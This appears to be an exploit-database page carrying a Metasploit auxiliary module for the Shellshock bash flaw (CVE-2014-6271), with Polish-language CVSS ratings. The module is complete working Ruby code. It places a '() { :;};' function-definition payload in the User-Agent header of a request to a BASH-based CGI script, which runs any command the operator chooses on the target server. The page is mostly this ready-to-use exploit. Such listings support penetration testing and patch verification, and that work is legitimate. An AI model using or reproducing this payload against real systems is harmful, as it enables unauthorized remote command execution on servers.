bashedCgi Remote Command Execution

2014.09.26
Credit: Shaun Colley
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


Ogólna skala CVSS: 10/10
Znaczenie: 10/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Pełny
Wpływ na integralność: Pełny
Wpływ na dostępność: Pełny

require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'bashedCgi', 'Description' => %q{ Quick & dirty module to send the BASH exploit payload (CVE-2014-6271) to CGI scripts that are BASH-based or invoke BASH, to execute an arbitrary shell command. }, 'Author' => [ 'Shaun Colley <scolley at ioactive.com>' ], # metasploit module 'Author' => [ 'Stephane Chazelas' ], # vuln discovery 'License' => MSF_LICENSE, 'References' => [ 'CVE', '2014-6271' ], 'Targets' => [ [ 'cgi', {} ] ], 'DefaultTarget' => 0, 'Payload' => { 'Space' => 1024, 'DisableNops' => true }, 'DefaultOptions' => { 'PAYLOAD' => 0 } )) register_options( [ OptString.new('TARGETURI', [true, 'Absolute path of BASH-based CGI', '/']), OptString.new('CMD', [true, 'Command to execute', '/usr/bin/touch /tmp/metasploit']) ], self.class) end def run res = send_request_cgi({ 'method' => 'GET', 'uri' => datastore['TARGETURI'], 'agent' => "() { :;}; " + datastore['CMD'] }) if res && res.code == 200 print_good("Command sent - 200 received") else print_error("Command sent - non-200 reponse") end end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top